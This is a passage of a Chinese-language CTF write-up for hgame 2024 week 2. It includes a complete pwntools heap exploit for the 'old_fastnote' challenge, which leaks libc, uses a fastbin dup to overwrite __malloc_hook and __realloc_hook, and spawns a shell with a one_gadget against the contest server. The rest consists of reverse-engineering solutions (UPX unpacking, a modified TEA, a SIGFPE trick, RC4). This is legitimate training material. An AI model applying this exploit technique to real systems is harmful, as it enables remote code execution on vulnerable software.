0x7fc42ddc17b0 <__malloc_initialize_hook>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fc42ddc17b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fc42ddc17c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
pwndbg>
...
0x7f2c3480bae0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7f2c3480bae8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7f2c3480baf0: 0x60 0xa2 0x80 0x34 0x2c [0x7f 0x00 0x00
0x7f2c3480baf8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00]
0x7f2c3480bb00 <__memalign_hook>: 0xa0 0xce 0x4c 0x34 0x2c 0x7f 0x00 0x00
0x7f2c3480bb08 <__realloc_hook>: 0x70 0xca 0x4c 0x34 0x2c 0x7f 0x00 0x00
0x7f2c3480bb10 <__malloc_hook>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7f2c3480bb18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
pwndbg>
其中 free_hook 前的内存内容会被 scanf 清零。
Gadget 信息如下:
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/old_fastnote/attachment$ one_gadget ./libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/old_fastnote/attachment$
所有 gadget 不能直接使用,考虑利用 realloc 的序言调整栈帧。
pwndbg> stack 32 -16
00:0000│ 0x7ffff7e9ac38 —▸ 0x7ffff7e9acf4 ◂— 0x6df8b50000000001
01:0008│ 0x7ffff7e9ac40 —▸ 0x7fca63371780 ◂— 0x0
02:0010│ 0x7ffff7e9ac48 —▸ 0x7fca630a23c0 (write+16) ◂— cmp rax, -0xfff
03:0018│ [L] 0x7ffff7e9ac50 —▸ 0x7fca63598700 ◂— 0x7fca63598700
04:0020│ 0x7ffff7e9ac58 ◂— 0xc /* '\x0c' */
05:0028│ 0x7ffff7e9ac60 ◂— 0x6
06:0030│ 0x7ffff7e9ac68 —▸ 0x7fca63370620 (_IO_2_1_stdout_) ◂— 0xfbad2887
07:0038│ 0x7ffff7e9ac70 ◂— 0xa /* '\n' */
08:0040│ 0x7ffff7e9ac78 —▸ 0x400cd5 ◂— xor al, 0x2e /* '4.Exit' */
09:0048│ [H] 0x7ffff7e9ac80 —▸ 0x7ffff7e9ade0 ◂— 0x1
0a:0050│ 0x7ffff7e9ac88 —▸ 0x7fca6302582b (_IO_file_overflow+235) ◂— cmp eax, -1
0b:0058│ 0x7ffff7e9ac90 ◂— 0x6
0c:0060│ 0x7ffff7e9ac98 —▸ 0x7fca63370620 (_IO_2_1_stdout_) ◂— 0xfbad2887
0d:0068│ 0x7ffff7e9aca0 —▸ 0x400cd5 ◂— xor al, 0x2e /* '4.Exit' */
0e:0070│ 0x7ffff7e9aca8 ◂— 9 /* '\t' */
0f:0078│ 0x7ffff7e9acb0 —▸ 0x7ffff7e9ace0 —▸ 0x7ffff7e9ad00 —▸ 0x400be0 (__libc_csu_init) ◂— push r15
10:0080│ rsp 0x7ffff7e9acb8 —▸ 0x40092e (add+136) ◂— mov rdx, rax
11:0088│ 0x7ffff7e9acc0 ◂— 0x1000000009 /* '\t' */
12:0090│ 0x7ffff7e9acc8 ◂— 0x964431376df8b500
13:0098│ 0x7ffff7e9acd0 ◂— 0x0
14:00a0│ 0x7ffff7e9acd8 ◂— 0x0
15:00a8│ rbp 0x7ffff7e9ace0 —▸ 0x7ffff7e9ad00 —▸ 0x400be0 (__libc_csu_init) ◂— push r15
16:00b0│ 0x7ffff7e9ace8 —▸ 0x400ba8 (main+107) ◂— jmp 0x400bd8
17:00b8│ 0x7ffff7e9acf0 ◂— 0x1f7e9ade0
18:00c0│ 0x7ffff7e9acf8 ◂— 0x964431376df8b500
19:00c8│ 0x7ffff7e9ad00 —▸ 0x400be0 (__libc_csu_init) ◂— push r15
1a:00d0│ 0x7ffff7e9ad08 —▸ 0x7fca62fcb840 (__libc_start_main+240) ◂— mov edi, eax
1b:00d8│ 0x7ffff7e9ad10 ◂— 0x1
1c:00e0│ 0x7ffff7e9ad18 —▸ 0x7ffff7e9ade8 —▸ 0x7ffff7e9bbf1 ◂— 0x53006e6c75762f2e /* './vuln' */
1d:00e8│ 0x7ffff7e9ad20 ◂— 0x16359aca0
1e:00f0│ 0x7ffff7e9ad28 —▸ 0x400b3d (main) ◂— push rbp
1f:00f8│ 0x7ffff7e9ad30 ◂— 0x0
pwndbg>
尝试使用 gadget 3,将合适的 RSP 偏移调整到[0x7ffff7e9acd0]的 0 处。
完整流程而言,我们需要先使用 unsorted bin 泄漏 main_arena 并计算得到 libc 基址,然后构造假块使用 fastbin dup 控制__malloc_hook 和__realloc_hook,然后触发 malloc,在__malloc_hook 中跳转至 realloc 并调整栈,在__realloc_hook 中使用 one gadget 进行 getshell。
import itertools as it
from pwn import *
vuln = ELF("./vuln")
libc = ELF("./libc-2.23.so")
context.binary = vuln
PROMPT_CHOICES = b"Your choice:"
PROMPT_INDEX = b"Index: "
PROMPT_SIZE = b"Size: "
PROMPT_CONTENT = b"Content: "
ADDR_MAIN_ARENA = libc.symbols["__malloc_hook"] + 0x10
ADDR_CALLOC_ADJ = 0x84716
ADDRS_EXECVE_GADGET = (0x4527A, 0xF03A4, 0xF1247)
def add_note(r: remote | process, index: int, size: int, content: bytes):
assert 0 <= index <= 0xF and 0 <= size <= 0x80 and len(content) <= size
r.sendlineafter(PROMPT_CHOICES, b"1")
r.sendlineafter(PROMPT_INDEX, str(index).encode("ascii"))
r.sendlineafter(PROMPT_SIZE, str(size).encode("ascii"))
r.sendafter(PROMPT_CONTENT, content)
def show_note(r: remote | process, index: int) -> bytes:
assert 0 <= index <= 0xF
r.sendlineafter(PROMPT_CHOICES, b"2")
r.sendlineafter(PROMPT_INDEX, str(index).encode("ascii"))
return r.recvuntil(b"\n", drop=True)
def delete_note(r: remote | process, index: int):
assert 0 <= index <= 0xF
r.sendlineafter(PROMPT_CHOICES, b"3")
r.sendlineafter(PROMPT_INDEX, str(index).encode("ascii"))
# with process("./vuln") as r:
with remote("106.14.57.14", 31357) as r:
add_note(r, 0, 0x80, b"A" * 0x80)
add_note(r, 1, 0x10, b"/bin/sh".ljust(0x10, b"\x00"))
for i in range(7):
add_note(r, i + 2, 0x80, bytes(it.repeat(ord("A") + i + 2, 0x80)))
for i in range(7):
delete_note(r, i + 2)
delete_note(r, 0)
main_arena = u64(show_note(r, 0).ljust(8, b"\x00")) - 0x58
libc_base = main_arena - ADDR_MAIN_ARENA
info(f"libc base: {hex(libc_base)}")
addr_malloc_hook = libc_base + libc.symbols["__malloc_hook"]
info(f"__malloc_hook: {hex(addr_malloc_hook)}")
addrs_execve_gadget = list(map(lambda x: libc_base + x, ADDRS_EXECVE_GADGET))
info(f"gadgets: {' '.join(map(lambda x: hex(x), addrs_execve_gadget))}")
addr_calloc_adj = libc_base + ADDR_CALLOC_ADJ
info(f"adjusted calloc preamble: {hex(addr_calloc_adj)}")
add_note(r, 2, 0x60, b"a" * 0x60)
add_note(r, 3, 0x60, b"b" * 0x60)
add_note(r, 4, 0x60, b"c" * 0x60)
delete_note(r, 2)
delete_note(r, 3)
delete_note(r, 2)
addr_fake_chunk = addr_malloc_hook - 27 - 8
add_note(r, 5, 0x60, p64(addr_fake_chunk))
add_note(r, 6, 0x60, b"d" * 0x60)
add_note(r, 7, 0x60, b"e" * 0x60)
add_note(
r,
8,
0x60,
cyclic(3) + p64(0) + p64(addrs_execve_gadget[2]) + p64(addr_calloc_adj),
)
info(f"Triggering malloc")
r.sendlineafter(PROMPT_CHOICES, b"1")
r.sendlineafter(PROMPT_INDEX, str(10).encode("ascii"))
r.sendlineafter(PROMPT_SIZE, str(0x20).encode("ascii"))
r.interactive()
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/old_fastnote/attachment$ python ../sol.py
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/old_fastnote/attachment/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[*] '/mnt/d/Workspace/rev/hgame_2024/week_2/old_fastnote/attachment/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 106.14.57.14 on port 31357: Done
[*] libc base: 0x7fd5878c1000
[*] __malloc_hook: 0x7fd587c85b10
[*] gadgets: 0x7fd58790627a 0x7fd5879b13a4 0x7fd5879b2247
[*] adjusted calloc preamble: 0x7fd587945716
[*] Triggering malloc
[*] Switching to interactive mode
$ id
: 1: id: not found
$ cat /flag
hgame{eb14f0d1ea1bd6088188956c6579b677d36f70bd}
$ exit
[*] Got EOF while reading in interactive
$
[*] Closed connection to 106.14.57.14 port 31357
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_2/old_fastnote/attachment$
hgame{eb14f0d1ea1bd6088188956c6579b677d36f70bd}
Reverse
arithmetic
这是什么奇怪的算法怎么没见过
改三处特征的 UPX。
两个 section 的名字和 PE 段末的 UPX!修复完成(即将三个 ari
替换为 UPX
)后就可以直接脱壳了。
PS D:\Workspace\rev\hgame_2024\week_2\arithmetic> upx -f -d .\arithmetic.1.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2023
UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023
File size Ratio Format Name
-------------------- ------ ----------- -----------
11264 <- 8704 77.27% win64/pe arithmetic.1.exe
Unpacked 1 file.
PS D:\Workspace\rev\hgame_2024\week_2\arithmetic>
可以看到核心是一个从(0, 0)开始的最大下降路径算法。
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int t; // eax
__int64 i_1; // rbx
int n_rows_p1; // esi
int v6; // edi
FILE *fd; // rbp
int j; // edx
int i; // eax
int sum; // edi
__int64 n_rows; // r14
__int64 j_1; // rbp
__int64 i_p1x500_1; // rsi
int choice; // eax
__int64 v15; // rcx
int v16; // eax
t = time64(0i64);
srand(t);
i_1 = 1i64;
n_rows_p1 = 1;
v6 = 1;
fd = fopen("out", "rb");
if ( lib_scanf(fd, "%d", &arr_mat[501]) != -1 )
{
do
{
j = 1;
if ( n_rows_p1 != v6 )
j = v6 + 1;
i = n_rows_p1 + 1;
if ( n_rows_p1 != v6 )
i = n_rows_p1;
v6 = j;
n_rows_p1 = i;
}
while ( lib_scanf(fd, "%d", &arr_mat[500 * i + j]) != -1 );
}
sum = arr_mat[501];
n_rows = n_rows_p1 - 1;
if ( n_rows >= 1 )
{
j_1 = 1i64;
i_p1x500_1 = 1000i64;
do
{
choice = rand() % 2 + 1;
v15 = i_p1x500_1 + j_1;
arr_path[i_1] = choice;
if ( choice == 1 )
{
v16 = arr_mat[v15];
}
else
{
v16 = arr_mat[v15 + 1];
++j_1;
}
sum += v16;
++i_1;
i_p1x500_1 += 500i64;
}
while ( i_1 <= n_rows );
}
if ( sum >= 6752833 )
lib_printf("hgame{path_32-bit_md5_lowercase_encrypt}");
return 0;
}
直接暴力求解。
from pwn import *
def max_falling_path(matrix: list[list[int]]) -> tuple[int, list[int]]:
rows, cols = len(matrix), len(matrix[0])
dp: list[list[tuple[int, list[int]]]] = [[(0, [])] * cols for _ in range(rows)]
for i in range(cols):
dp[0][i] = (matrix[0][i], [])
for i in range(1, rows):
for j in range(cols):
if j == 0:
dp[i][j] = (matrix[i][j] + dp[i - 1][j][0], dp[i - 1][j][1] + [1])
else:
if dp[i - 1][j][0] >= dp[i - 1][j - 1][0]:
dp[i][j] = (matrix[i][j] + dp[i - 1][j][0], dp[i - 1][j][1] + [1])
else:
dp[i][j] = (
matrix[i][j] + dp[i - 1][j - 1][0],
dp[i - 1][j - 1][1] + [2],
)
vals = list(map(lambda p: p[0], dp[rows - 1]))
idx_max_val = vals.index(max(vals))
return dp[rows - 1][idx_max_val]
def traverse(matrix: list[list[int]], path: list[int]) -> int:
i, j = 0, 0
sum = matrix[0][0]
for p in path:
if p == 2:
j += 1
i += 1
sum += matrix[i][j]
return sum
arr_mat = []
with open("arithmetic/out", "rt") as f:
for line in f:
ints = list(map(int, line.split()))
ints_padded = ints + [0] * (500 - len(ints))
arr_mat.append(ints_padded)
result = max_falling_path(arr_mat)
assert result[0] >= 6752833 and traverse(arr_mat, result[1]) == result[0]
success("".join(map(lambda x: str(x), max_falling_path(arr_mat)[1])))
PS D:\Workspace\rev\hgame_2024\week_2> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/arithmetic/sol.py
[+] 1111111222221111111122111221112222212211111122211211211211122221222111222212111221222222112111112122221112111222122222111111121111111211212211122221112111211211111212222212121111111121222221212111111212211121111222211221221122212222121222211211212121222222121122112122221111212111221121122112111122212221211111211121121112222222122121222222111112222112121111121221112211111112111122211112111221121221112212211211111222221221122122222212222121212111221121111222122211121222121222222122122121211211211
PS D:\Workspace\rev\hgame_2024\week_2>
MD5 即可得到 flag。
hgame{934f7f68145038b3b81482b3d9f3a355}
ezcpp
修改过的 TEA。
__int64 __fastcall encrypt(data_ *a1)
{
int v1; // r10d
__int64 v2; // rbx
int v3; // r11d
__int64 v4; // rdi
int v5; // r8d
int v6; // r9d
int v7; // r11d
__int64 v8; // rdi
int v9; // r8d
int v10; // r9d
uint32_t delta; // esi
uint32_t k_1; // ebp
uint32_t k_0; // r14d
uint32_t k_3; // r15d
uint32_t k_2; // r12d
int v16; // r11d
__int64 v17; // rdi
int v18; // r8d
int v19; // r9d
int v20; // r8d
int v21; // r9d
__int64 result; // rax
a1->key[0] = 1234;
v1 = 0;
a1->key[1] = 2341;
v2 = 32i64;
a1->key[2] = 3412;
v3 = 0;
a1->key[3] = 4123;
v4 = 32i64;
a1->delta = 0xDEADBEEF;
v5 = *(_DWORD *)a1->buf;
v6 = *(_DWORD *)&a1->buf[4];
do
{
v3 -= -0xDEADBEEF;
v5 += (v3 + v6) ^ (16 * v6 + 1234) ^ (32 * v6 + 2341);
v6 += (v3 + v5) ^ (16 * v5 + 3412) ^ (32 * v5 + 4123);
--v4;
}
while ( v4 );
*(_DWORD *)a1->buf = v5;
v7 = 0;
*(_DWORD *)&a1->buf[4] = v6;
v8 = 32i64;
v9 = *(_DWORD *)&a1->buf[1];
v10 = *(_DWORD *)&a1->buf[5];
delta = a1->delta;
k_1 = a1->key[1];
k_0 = a1->key[0];
k_3 = a1->key[3];
k_2 = a1->key[2];
do
{
v7 += delta;
v9 += (v7 + v10) ^ (k_1 + 32 * v10) ^ (k_0 + 16 * v10);
v10 += (v7 + v9) ^ (k_3 + 32 * v9) ^ (k_2 + 16 * v9);
--v8;
}
while ( v8 );
*(_DWORD *)&a1->buf[1] = v9;
v16 = 0;
*(_DWORD *)&a1->buf[5] = v10;
v17 = 32i64;
v18 = *(_DWORD *)&a1->buf[2];
v19 = *(_DWORD *)&a1->buf[6];
do
{
v16 += delta;
v18 += (v16 + v19) ^ (k_1 + 32 * v19) ^ (k_0 + 16 * v19);
v19 += (v16 + v18) ^ (k_3 + 32 * v18) ^ (k_2 + 16 * v18);
--v17;
}
while ( v17 );
*(_DWORD *)&a1->buf[2] = v18;
*(_DWORD *)&a1->buf[6] = v19;
v20 = *(_DWORD *)&a1->buf[3];
v21 = *(_DWORD *)&a1->buf[7];
do
{
v1 += delta;
v20 += (v1 + v21) ^ (k_1 + 32 * v21) ^ (k_0 + 16 * v21);
result = (unsigned int)(v1 + v20);
v21 += result ^ (k_3 + 32 * v20) ^ (k_2 + 16 * v20);
--v2;
}
while ( v2 );
*(_DWORD *)&a1->buf[3] = v20;
*(_DWORD *)&a1->buf[7] = v21;
return result;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rcx
const char *v5; // rdx
__int64 v6; // rax
struct data_ v8; // [rsp+20h] [rbp-48h] BYREF
v3 = sub_140001320(std::cout, (__int64)"plz input flag:");
std::ostream::operator<<(v3, sub_1400014F0);
sub_140001010("%32s", (const char *)&v8);
encrypt(&v8);
v4 = 0i64;
while ( byte_1400032F8[v4] == v8.buf[v4] )
{
if ( ++v4 >= 32 )
{
v5 = "Congratulations!";
goto LABEL_6;
}
}
v5 = "Sry...plz try again";
LABEL_6:
v6 = sub_140001320(std::cout, (__int64)v5);
std::ostream::operator<<(v6, sub_1400014F0);
return 0;
}
解密代码:
#define _CRT_SECURE_NO_WARNINGS
#include <assert.h>
#include <stdio.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <ctype.h>
#include <wchar.h>
#pragma warning(push)
#pragma warning(disable:6031)
static const uint32_t KEY[] = {1234, 2341, 3412, 4123};
static const uint32_t DELTA = 0xDEADBEEF;
static uint8_t arr[] = {
0x88, 0x6A, 0xB0, 0xC9, 0xAD, 0xF1, 0x33, 0x33, 0x94, 0x74, 0xB5, 0x69, 0x73, 0x5F, 0x30, 0x62,
0x4A, 0x33, 0x63, 0x54, 0x5F, 0x30, 0x72, 0x31, 0x65, 0x6E, 0x54, 0x65, 0x44, 0x3F, 0x21, 0x7D
};
void decrypt(uint32_t *pv0, uint32_t *pv1, uint32_t *k, uint32_t delta) {
uint32_t v0 = *pv0, v1 = *pv1, sum = delta * 32, i;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 << 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 << 5) + k1);
sum -= delta;
}
*pv0 = v0; *pv1 = v1;
}
int main(void) {
decrypt((uint32_t *)&arr[3], (uint32_t *)&arr[7], KEY, DELTA);
decrypt((uint32_t *)&arr[2], (uint32_t *)&arr[6], KEY, DELTA);
decrypt((uint32_t *)&arr[1], (uint32_t *)&arr[5], KEY, DELTA);
decrypt((uint32_t *)&arr[0], (uint32_t *)&arr[4], KEY, DELTA);
for (int i = 0; i < sizeof(arr); i++) {
putchar(((char *)arr)[i]);
}
putchar('\n');
return 0;
}
#pragma warning(pop)
hgame{#Cpp_is_0bJ3cT_0r1enTeD?!}
babyre
多处隐藏的修改。
main 函数里面挂了浮点异常捕获,很可疑。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+0h] [rbp-40h]
int j; // [rsp+4h] [rbp-3Ch]
pthread_t thrds[4]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
fun_input();
if ( !__sigsetjmp(env, 1) )
{
signal(SIGFPE, handler_sigfpe);
for ( i = 0; i <= 5; ++i )
arr_key[i] ^= 0x11u;
}
sem_init(sems, 0, 1u);
sem_init(&sems[1], 0, 0);
sem_init(&sems[2], 0, 0);
sem_init(&sems[3], 0, 0);
pthread_create(thrds, 0LL, entry_thrd_1, 0LL);
pthread_create(&thrds[1], 0LL, entry_thrd_2, 0LL);
pthread_create(&thrds[2], 0LL, entry_thrd_3, 0LL);
pthread_create(&thrds[3], 0LL, entry_thrd_4, 0LL);
for ( j = 0; j <= 3; ++j )
pthread_join(thrds[j], 0LL);
fun_check();
return 0LL;
}
其他逻辑比较简单。
void __fastcall fun_input()
{
int i; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("plz input your answer:");
__isoc99_scanf("%s", s);
if ( strlen(s) != 32 )
{
puts("length error!");
exit(0);
}
for ( i = 0; i <= 31; ++i )
arr_buf[i] = s[i];
arr_buf[32] = 249;
}
void __noreturn handler_sigfpe()
{
++arr_buf[32];
siglongjmp(env, 1);
}
void __fastcall __noreturn entry_thrd_1(void *a1)
{
while ( 1 )
{
sem_wait(sems);
if ( counter > 31 )
break;
arr_buf[counter] += (char)arr_key[(counter + 1) % 6] * arr_buf[counter + 1];
++counter;
sem_post(&sems[1]);
}
sem_post(&sems[1]);
pthread_exit(0LL);
}
void __fastcall __noreturn entry_thrd_2(void *a1)
{
while ( 1 )
{
sem_wait(&sems[1]);
if ( counter > 31 )
break;
arr_buf[counter] -= (char)arr_key[(counter + 1) % 6] ^ arr_buf[counter + 1];
++counter;
sem_post(&sems[2]);
}
sem_post(&sems[2]);
pthread_exit(0LL);
}
void __fastcall __noreturn entry_thrd_3(void *a1)
{
while ( 1 )
{
sem_wait(&sems[2]);
if ( counter > 31 )
break;
arr_buf[counter] *= arr_buf[counter + 1] + (char)arr_key[(counter + 1) % 6];
++counter;
sem_post(&sems[3]);
}
sem_post(&sems[3]);
pthread_exit(0LL);
}
void __fastcall __noreturn entry_thrd_4(void *a1)
{
while ( 1 )
{
sem_wait(&sems[3]);
if ( counter > 31 )
break;
arr_buf[counter] ^= arr_buf[counter + 1] - (char)arr_key[(counter + 1) % 6];
++counter;
sem_post(sems);
}
sem_post(sems);
pthread_exit(0LL);
}
下面需要找到这个浮点异常在哪里发出。
.text:000055702A36E8A4 mov esi, 1 ; savemask
.text:000055702A36E8A9 lea rax, env
.text:000055702A36E8B0 mov rdi, rax ; env
.text:000055702A36E8B3 call ___sigsetjmp
.text:000055702A36E8B8 endbr64
.text:000055702A36E8BC test eax, eax
.text:000055702A36E8BE jnz short L_RECOVER
.text:000055702A36E8C0 lea rax, handler_sigfpe
.text:000055702A36E8C7 mov rsi, rax ; handler
.text:000055702A36E8CA mov edi, 8 ; sig
.text:000055702A36E8CF call _signal
.text:000055702A36E8D4 mov [rbp+var_40], 0
.text:000055702A36E8DB jmp short L_LOOP_INIT
.text:000055702A36E8DD ; ---------------------------------------------------------------------------
.text:000055702A36E8DD
.text:000055702A36E8DD L_LOOP_BODY: ; CODE XREF: main+9F↓j
.text:000055702A36E8DD mov eax, [rbp+var_40]
.text:000055702A36E8E0 sub eax, 3
.text:000055702A36E8E3 mov [rbp+var_38], eax
.text:000055702A36E8E6 mov eax, 1
.text:000055702A36E8EB cdq
.text:000055702A36E8EC idiv [rbp+var_38]
.text:000055702A36E8EF mov [rbp+var_34], eax
.text:000055702A36E8F2 mov eax, [rbp+var_40]
.text:000055702A36E8F5 cdqe
.text:000055702A36E8F7 lea rdx, arr_key
.text:000055702A36E8FE movzx eax, byte ptr [rax+rdx]
.text:000055702A36E902 xor eax, 11h
.text:000055702A36E905 mov ecx, eax
.text:000055702A36E907 mov eax, [rbp+var_40]
.text:000055702A36E90A cdqe
.text:000055702A36E90C lea rdx, arr_key
.text:000055702A36E913 mov [rax+rdx], cl
.text:000055702A36E916 add [rbp+var_40], 1
.text:000055702A36E91A
.text:000055702A36E91A L_LOOP_INIT: ; CODE XREF: main+5C↑j
.text:000055702A36E91A cmp [rbp+var_40], 5
.text:000055702A36E91E jle short L_LOOP_BODY
.text:000055702A36E920
.text:000055702A36E920 L_RECOVER: ; CODE XREF: main+3F↑j
注意这里的 idiv [rbp+var_38]
指令。当循环累加器 eax 等于 3 的时候不会继续进行对 arr_key[eax]的异或,而是发出浮点异常,进入处理函数。处理函数中显然将 eax 修改为一个非零值,因此从处理函数返回 sigsetjmp 的环境后(即 .text:000055702A36E8B8
处的 endbr64
会让下面的 jnz short L_RECOVER
变为 taken,跳过后面的循环。这个处理函数还会修改 arr_buf[32]。
另外,初始化器也经过了修改,将 arr_key 修改为 b”feifei”。
.init_array:000055702A370D48 ; ELF Initialization Function Table
.init_array:000055702A370D48 ; ===========================================================================
.init_array:000055702A370D48
.init_array:000055702A370D48 ; Segment type: Pure data
.init_array:000055702A370D48 ; Segment permissions: Read/Write
.init_array:000055702A370D48 _init_array segment qword public 'DATA' use64
.init_array:000055702A370D48 assume cs:_init_array
.init_array:000055702A370D48 ;org 55702A370D48h
.init_array:000055702A370D48 dq offset sub_55702A36E2E0
.init_array:000055702A370D50 dq offset fun_nasty_change
.init_array:000055702A370D50 _init_array ends
.init_array:000055702A370D50
void fun_nasty_change()
{
strcpy((char *)arr_key, "feifei");
}
经历上述分析,我们不难写出解密脚本。
import typing
import z3
from pwn import *
ARR_KEY = [ord("f"), ord("e"), ord("i"), ord("f"), ord("e"), ord("i")]
ARR_TARGET = [
0x00002F14, 0x0000004E, 0x00004FF3, 0x0000006D,
0x000032D8, 0x0000006D, 0x00006B4B, 0xFFFFFF92,
0x0000264F, 0x0000005B, 0x000052FB, 0xFFFFFF9C,
0x00002B71, 0x00000014, 0x00002A6F, 0xFFFFFF95,
0x000028FA, 0x0000001D, 0x00002989, 0xFFFFFF9B,
0x000028B4, 0x0000004E, 0x00004506, 0xFFFFFFDA,
0x0000177B, 0xFFFFFFFC, 0x000040CE, 0x0000007D,
0x000029E3, 0x0000000F, 0x00001F11, 0x000000FF,
]
N_UNKNOWNS = 32
UNK_WIDTH = 32
x = [z3.BitVec(f"x_{i}", UNK_WIDTH) for i in range(N_UNKNOWNS)]
solver = z3.Solver()
for i in range(0, 3):
ARR_KEY[i] ^= 0x11
counter = 0
arr_buf = [xi for xi in x] + [z3.BitVecVal(250, UNK_WIDTH)]
for i in range(8):
arr_buf[counter] += ARR_KEY[(counter + 1) % 6] * arr_buf[counter + 1]
counter += 1
arr_buf[counter] -= ARR_KEY[(counter + 1) % 6] ^ arr_buf[counter + 1]
counter += 1
arr_buf[counter] *= arr_buf[counter + 1] + ARR_KEY[(counter + 1) % 6]
counter += 1
arr_buf[counter] ^= arr_buf[counter + 1] - ARR_KEY[(counter + 1) % 6]
counter += 1
for i in range(0, 32):
solver.add(arr_buf[i] == ARR_TARGET[i])
if solver.check() != z3.sat:
error("Unsat")
exit(1)
result: list[typing.Any] = [0] * N_UNKNOWNS
m = solver.model()
for d in m.decls():
result[int(d.name()[2:])] = m[d].as_long() # type: ignore
success("".join((chr(x) for x in result)))
PS D:\Workspace\rev\hgame_2024> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_2/babyre/sol.py
[+] hgame{you_are_3o_c1ever2_3Olve!}
PS D:\Workspace\rev\hgame_2024>
hgame{you_are_3o_c1ever2_3Olve!}
babyAndroid
/* loaded from: classes.dex */_
_public class MainActivity extends AppCompatActivity implements View.OnClickListener {_
_ ..._
_ public native boolean check2(byte[] bArr, byte[] bArr2);_
_ static {_
_ System.loadLibrary("babyandroid");_
_ }_
_ /* JADX INFO: Access modifiers changed from: protected */_
_ @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity_
_ public void onCreate(Bundle bundle) {_
_ ..._
_ }_
_ @Override // android.view.View.OnClickListener_
_ public void onClick(View view) {_
_ byte[] username_ = this.username.getText().toString().getBytes();_
_ byte[] password_ = this.password.getText().toString().getBytes();
// **public** **static** **int** key = 0x7f0f0030;
// **<string** **name**=**"key">**3e1fel**</string>**_
_ if (new Check1(getResources().getString(C0566R.string.key).getBytes()).check(username_)) {_
_ if (check2(username_, password_)) {_
_ Toast.makeText(this, "Congratulate!!!^_^", 0).show();_
_ return;_
_ } else {_
_ Toast.makeText(this, "password wrong!!!>_<", 0).show();_
_ return;_
_ }_
_ }_
_ Toast.makeText(this, "username wrong!!!>_<", 0).show();_
_ }_
_}
Check1:
package com.feifei.babyandroid;
import java.util.Arrays;
/* loaded from: classes.dex */
public class Check1 {
private byte[] S = new byte[256];
private int i;
private int j;
public Check1(byte[] bArr) {
for (int i = 0; i < 256; i++) {
this.S[i] = (byte) i;
}
int i2 = 0;
for (int i3 = 0; i3 < 256; i3++) {
byte[] bArr2 = this.S;
i2 = (i2 + bArr2[i3] + bArr[i3 % bArr.length]) & 255;
swap(bArr2, i3, i2);
}
this.i = 0;
this.j = 0;
}
private void swap(byte[] bArr, int i, int i2) {
byte b = bArr[i];
bArr[i] = bArr[i2];
bArr[i2] = b;
}
public byte[] encrypt(byte[] bArr) {
byte[] bArr2 = new byte[bArr.length];
for (int i = 0; i < bArr.length; i++) {
int i2 = (this.i + 1) & 255;
this.i = i2;
int i3 = this.j;
byte[] bArr3 = this.S;
int i4 = (i3 + bArr3[i2]) & 255;
this.j = i4;
swap(bArr3, i2, i4);
byte[] bArr4 = this.S;
bArr2[i] = (byte) (bArr4[(bArr4[this.i] + bArr4[this.j]) & 255] ^ bArr[i]);
}
return bArr2;
}
public boolean check(byte[] bArr) {
return Arrays.equals(new byte[]{-75, 80, 80, 48, -88, 75, 103, 45, -91, 89, -60, 91, -54, 5, 6, -72}, encrypt(bArr));
}
}
不难发现 Check1 是一个 RC4。
from pwn import *
CHECK1_KEY = b"3e1fel"
CHECK1_CIPHER = b"\xb5\x50\x50\x30\xa8\x4b\x67\x2d\xa5\x59\xc4\x5b\xca\x05\x06\xb8"
class RC4:
S: list[int] = [0] * 256
def __init__(self, key: bytes):
for i in range(256):
self.S[i] = i
j = 0
for i in range(256):
j = (j + self.S[i] + key[i % len(key)]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i]
self.i = 0
self.j = 0
def encrypt(self, plain: bytes):
